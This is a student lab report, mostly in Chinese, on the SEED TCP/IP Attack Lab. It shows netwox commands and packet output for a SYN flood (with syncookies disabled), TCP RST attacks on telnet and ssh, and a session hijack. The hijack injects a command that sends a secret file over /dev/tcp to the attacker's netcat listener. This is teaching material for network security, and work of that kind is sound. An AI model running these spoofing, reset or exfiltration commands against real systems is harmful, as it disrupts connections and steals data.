

# SEED LAB REPORT 4

刘熙达  
57117232

## TCP/IP Attack Lab

Experiment Environment:

3 VMs:

kali@192.168.255.140 as Attacker

seed@192.168.255.128 as Server

manjaro@192.168.255.139 as Client

### Task 1: SYN Flooding Attack

```
[09/13/20]seed@VM:~$ netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 192.168.255.128:53      0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp6       0      0 :::80                   :::*                     LISTEN
tcp6       0      0 :::53                   :::*                     LISTEN
tcp6       0      0 :::21                   :::*                     LISTEN
tcp6       0      0 :::22                   :::*                     LISTEN
tcp6       0      0 :::1:631                :::*                     LISTEN
tcp6       0      0 :::3128                 :::*                     LISTEN
tcp6       0      0 :::1:953                :::*                     LISTEN
```

1.首先在 seed(靶机)上查看当前的连接

```
root@kali:~# sudo netwox 76 -i 192.168.255.128 -p 23 -s raw
```

2.在攻击者机器上使用 netwox 76 号工具构造针对靶机的 23 号端口的攻击

```
[09/13/20]seed@VM:~$ netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp      0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp      0      0 192.168.255.128:53      0.0.0.0:*               LISTEN
tcp      0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp      0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp      0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp      0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp      0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp      0      0 127.0.0.1:3306           0.0.0.0:*               LISTEN
tcp      0      0 192.168.255.128:23      242.75.144.33:40537     SYN_RECV
tcp      0      0 192.168.255.128:23      252.65.150.127:22087    SYN_RECV
tcp      0      0 192.168.255.128:23      245.194.112.49:30207    SYN_RECV
tcp      0      0 192.168.255.128:23      245.229.107.188:59633   SYN_RECV
tcp      0      0 192.168.255.128:23      246.182.130.211:62528   SYN_RECV
tcp      0      0 192.168.255.128:23      251.236.123.114:5835    SYN_RECV
tcp      0      0 192.168.255.128:23      255.212.91.1:8637       SYN_RECV
tcp      0      0 192.168.255.128:23      251.144.49.22:14818     SYN_RECV
tcp      0      0 192.168.255.128:23      246.66.215.11:9982      SYN_RECV
tcp      0      0 192.168.255.128:23      245.113.74.16:30921     SYN_RECV
tcp      0      0 192.168.255.128:23      252.190.75.148:32347    SYN_RECV
tcp      0      0 192.168.255.128:23      251.62.21.112:59018     SYN_RECV
tcp      0      0 192.168.255.128:23      246.128.24.88:60143     SYN_RECV
```

3.运行攻击后，再次使用 netstat 指令查看，发现接收到来自伪造源 IP 和端口的 SYN 连接请求，并且连接状态处于 SYN\_RECV。

```
[llu@manjarovm ~]$ telnet 192.168.255.128
Trying 192.168.255.128...
Connected to 192.168.255.128.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: █
```

4.此时使用 manjaro 尝试 telnet 指令连接 seed,发现连接成功，说明 SYN 攻击失败了。

```
[09/13/20]seed@VM:~$ sudo sysctl -a | grep cookie
net.ipv4.tcp_syncookies = 1
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens33.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
[09/13/20]seed@VM:~$ sudo sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
```

5.查看 SYN cookie 机制，发现它已经被开启。尝试关掉这个保护机制后再次攻击

```
[llu@manjarovm ~]$ telnet 192.168.255.128
Trying 192.168.255.128...
telnet: Unable to connect to remote host: Connection timed out
[llu@manjarovm ~]$ █
```

6.再次尝试使用 manjaro 连接 seed，发现连接失败。这说明 seed 的队列已经被伪造的 SYN 连接占用，攻击成功

7.查阅相关资料得知，SYN cookie 机制使得服务器在接收到 SYN 包时不分配专门的数据分区，而是会计算一个 cookie 值，并在收到 TCP ACK 包时根据 cookie 检查包的合法性，从而避免了大量的资源消耗

## Task 2: TCP RST Attacks on telnet and ssh Connections

No.	Time	Source	Destination	Protocol	Length	Info
73	2020-09-13 15:39:02.3567513...	192.168.255.139	192.168.255.128	TELNET	70	Telnet Data ...
74	2020-09-13 15:39:02.3567664...	192.168.255.128	192.168.255.139	TCP	68	23 → 48474 [ACK] Seq=830380427 A...
75	2020-09-13 15:39:02.3571204...	192.168.255.128	192.168.255.139	TELNET	70	Telnet Data ...
76	2020-09-13 15:39:02.3574242...	192.168.255.139	192.168.255.128	TCP	68	48474 → 23 [ACK] Seq=3127590785 ...
77	2020-09-13 15:39:02.3715543...	192.168.255.128	192.168.255.139	TELNET	141	Telnet Data ...
78	2020-09-13 15:39:02.3724166...	192.168.255.139	192.168.255.128	TCP	68	48474 → 23 [ACK] Seq=3127590785 ...
79	2020-09-13 15:39:02.4389768...	192.168.255.128	192.168.255.139	TELNET	344	Telnet Data ...
80	2020-09-13 15:39:02.4392858...	192.168.255.139	192.168.255.128	TCP	68	48474 → 23 [ACK] Seq=3127590785 ...
81	2020-09-13 15:39:02.5387355...	192.168.255.128	192.168.255.139	TELNET	89	Telnet Data ...
82	2020-09-13 15:39:02.5391407...	192.168.255.139	192.168.255.128	TCP	68	48474 → 23 [ACK] Seq=3127590785 ...
83	2020-09-13 15:39:02.7919105	Vmware 6e:e7:ce		ARP	44	Who has 192.168.255.22 Tell 192...

▶ Frame 81: 89 bytes on wire (712 bits), 89 bytes captured (712 bits) on interface 0  
 ▶ Linux cooked capture  
 ▶ Internet Protocol Version 4, Src: 192.168.255.128, Dst: 192.168.255.139  
 ▼ Transmission Control Protocol, Src Port: 23, Dst Port: 48474, Seq: 830380778, Ack: 3127590785, Len: 21  
   Source Port: 23  
   Destination Port: 48474  
   [Stream index: 1]  
   [TCP Segment Len: 21]  
   Sequence number: 830380778  
   [Next sequence number: 830380799]  
   Acknowledgment number: 3127590785  
   Header Length: 32 bytes

1.在建立 telnet 连接之后, 通过 wireshark 查看由 server 发往 client 的下一个 seq number 以及目的端口号

```
root@kali:~# sudo netwox 40 -l 192.168.255.128 -m 192.168.255.139 -o 23 -p 48474 -B -o 830380799
```

version	ihl	tos	totlen	
4	5	0x00=0	0x0028=40	
id		r D M		offsetfrag
0xF31A=62234		0 0 0		0x0000=0
ttl		protocol		checksum
0x00=0		0x06=6		0x4758
source				
192.168.255.128				
destination				
192.168.255.139				
TCP				
source port		destination port		
0x0017=23		0xBD5A=48474		
seqnum				
0x317E9AFF=830380799				
acknum				
0x00000000=0				
doff	r r r r C E U A P R S F	window		
5	0 0 0 0 0 0 0 0 0 0 1 0 0	0x0000=0		
checksum		urgptr		
0xA593=42387		0x0000=0		

2.根据上一步抓取到的信息, 在 attackerz 中使用 netwox 40 构造 RST 包并发送

```
[liu@manjarovm ~]$ telnet 192.168.255.128
Trying 192.168.255.128...
Connected to 192.168.255.128.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sun Sep 13 15:35:57 EDT 2020 from 192.168.255.139 on pts/17
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

[09/13/20]seed@VM:~$ Connection closed by foreign host.
```

3.可以看到, 在 client 端 telnet 连接关闭, 攻击成功



## Using SSH

```
[liu@manjarovm ~]$ ssh seed@192.168.255.128
seed@192.168.255.128's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

Last login: Sun Sep 13 15:47:00 2020 from 192.168.255.139
```

### 1.使用 ssh 登录到 server

```
root@kali:~# sudo netwox 40 -l 192.168.255.128 -m 192.168.255.139 -o 22 -p 40418 -B -q
3947406144
IP
+-----+-----+-----+-----+
| version | ihl  | tos  | totlen |
| 4       | 5    | 0x00=0 | 0x0028=40 |
+-----+-----+-----+-----+
|          id          | r | D | M |
| 0xC0AE=49326        | 0 | 0 | 0 |
+-----+-----+-----+-----+
|          ttl         | protocol | checksum |
| 0x00=0              | 0x06=6   | 0x79C4   |
+-----+-----+-----+-----+
|          source      |
| 192.168.255.128     |
+-----+-----+-----+-----+
|          destination |
| 192.168.255.139     |
+-----+-----+-----+-----+
TCP
+-----+-----+-----+-----+
| source port | destination port |
| 0x0016=22   | 0x9DE2=40418     |
+-----+-----+-----+-----+
|          seqnum      |
| 0xEB48A340=3947406144 |
+-----+-----+-----+-----+
|          acknum      |
| 0x00000000=0         |
+-----+-----+-----+-----+
| doff | r | r | r | r | C | E | U | A | P | R | S | F | window |
| 5    | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0x0000=0 |
+-----+-----+-----+-----+
|          checksum    | urgptr |
| 0x0301=769          | 0x0000=0 |
+-----+-----+-----+-----+
root@kali:~#
```

### 2.使用相同的手法构造攻击报文并发送

```
[liu@manjarovm ~]$ ssh seed@192.168.255.128
seed@192.168.255.128's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

Last login: Sun Sep 13 15:47:00 2020 from 192.168.255.139
[09/13/20]seed@VM:~$ client_loop: send disconnect: Broken pipe
```

### 3.同样在 client 端可以看到，攻击成功

## Task 4: TCP Session Hijacking

```

[liu@nanjarovm ~]$ telnet 192.168.255.128
Trying 192.168.255.128...
Connected to 192.168.255.128.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sun Sep 13 15:55:58 EDT 2020 from 192.168.255.139 on pts/18
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

```

```

root@kali:~# nc -l -p 9090 -v
listening on [any] 9090 ...
[09/13/20]seed@VM:~$ cat ~/secretfile > /dev/tcp/192.168.255.140/9090

```

```

root@kali:~# nc -l -p 9090 -v
listening on [any] 9090 ...
192.168.255.128: inverse host lookup failed: Unknown host
connect to [192.168.255.140] from (UNKNOWN) [192.168.255.128] 36900
This is a secret file on SEED@192.168.255.128

```

0.准备工作：首先在 client 端使用 telnet 建立与 server 的连接，并在 attacker 上开启监听 9090 端口。构造攻击指令，在 client 端使用 cat 指令将 server 上的文件 secretfile 的内容输出到 attacker 上。

```

root@kali:~# netwox 40 --ip4-src 192.168.255.139 --ip4-dst 192.168.255.128 --ip4-ttl 64 --tcp-dst 23 --tcp-src 48496 --tcp-seqnum 1636988024 --tcp-acknum 2428865367 --tcp-window 227 --tcp-urg --tcp-ack --tcp-psh --tcp-data '0d636174207e2f736563726574666696c65203e2f646576727463702f3139322e3136382e3235352e3134302f393039300d'

```

IP													
version	ihl		tos		totlen								
4	5		0x00=0		0x0059=89								
id				r D M		offsetfrag							
0xD8CE=55502				0 0 0		0x0000=0							
ttl				protocol		checksum							
0x40=64				0x06=6		0x2173							
source													
192.168.255.139													
destination													
192.168.255.128													
TCP													
source port							destination port						
0xBD70=48496							0x0017=23						
seqnum													
0x61927478=1636988024													
acknum													
0x90C58B57=2428865367													
doff	r r r r C E U A P R S F	window											
5	0 0 0 0 0 0 1 1 1 0 0 0	0x00E3=227											
checksum							urgptr						

1.根据 wireshark 抓取到的信息，构造用于 TCP 劫持的报文并发送

168	2020-09-13	16:42:42.0570148...	192.168.255.128	192.168.255.139	TCP	255 [TCP Retransmission] 23 → 48496
169	2020-09-13	16:42:48.7139321...	192.168.255.128	192.168.255.139	TCP	255 [TCP Retransmission] 23 → 48496
170	2020-09-13	16:42:57.0786715...	:::1	:::1	UDP	64 43358 → 42275 Len=0
171	2020-09-13	16:42:57.7504996...	192.168.255.139	192.168.255.128	TELNET	69 [TCP Spurious Retransmission] Te...
172	2020-09-13	16:42:57.7505367...	192.168.255.128	192.168.255.139	TCP	80 [TCP Dup ACK 125#1] 23 → 48496 [...]
173	2020-09-13	16:42:57.9600053...	192.168.255.139	192.168.255.128	TELNET	69 [TCP Spurious Retransmission] Te...
174	2020-09-13	16:42:57.9601569...	192.168.255.128	192.168.255.139	TCP	80 [TCP Dup ACK 125#2] 23 → 48496 [...]
175	2020-09-13	16:42:58.1696431...	192.168.255.139	192.168.255.128	TELNET	69 [TCP Spurious Retransmission] Te...
176	2020-09-13	16:42:58.1696752...	192.168.255.128	192.168.255.139	TCP	80 [TCP Dup ACK 125#3] 23 → 48496 [...]
177	2020-09-13	16:42:58.5837875...	192.168.255.139	192.168.255.128	TELNET	69 [TCP Spurious Retransmission] Te...
178	2020-09-13	16:42:58.5838014...	192.168.255.128	192.168.255.139	TCP	80 [TCP Dup ACK 125#4] 23 → 48496 [...]
179	2020-09-13	16:42:59.4415791...	192.168.255.139	192.168.255.128	TELNET	69 [TCP Spurious Retransmission] Te...
180	2020-09-13	16:42:59.4416099...	192.168.255.128	192.168.255.139	TCP	80 [TCP Dup ACK 125#5] 23 → 48496 [...]
181	2020-09-13	16:43:01.1185836...	192.168.255.139	192.168.255.128	TELNET	69 [TCP Spurious Retransmission] Te...
182	2020-09-13	16:43:01.1186186...	192.168.255.128	192.168.255.139	TCP	80 [TCP Dup ACK 125#6] 23 → 48496 [...]
183	2020-09-13	16:43:02.0243465...	192.168.255.128	192.168.255.139	TCP	255 [TCP Retransmission] 23 → 48496

```
[09/13/20]seed@VM:~$ exit
logout
Connection closed by foreign host.
[09/13/20]seed@VM:~$ telnet 192.168.255.128
Trying 192.168.255.128...
Connected to 192.168.255.128.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sun Sep 13 16:35:17 EDT 2020 from 192.168.255.128 on pts/20
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

[09/13/20]seed@VM:~$
```

```
root@kali:~# nc -l -p 9090 -v
listening on [any] 9090 ...
192.168.255.128: inverse host lookup failed: Unknown host
connect to [192.168.255.140] from (UNKNOWN) [192.168.255.128] 36928
This is a secret file on SEED@192.168.255.128
root@kali:~#
```

2.发送后从 wireshark 抓包结果来看，出现了大量的 Telnet 重传，并且 client 端的 terminal 被冻结，无法输入指令，推测是由于构造的 TCP 劫持报文扰乱了 server 和 client 间报文的 SEQ NUM。attacker 的 9090 端口接收到预期的输出结果，TCP 劫持攻击成功。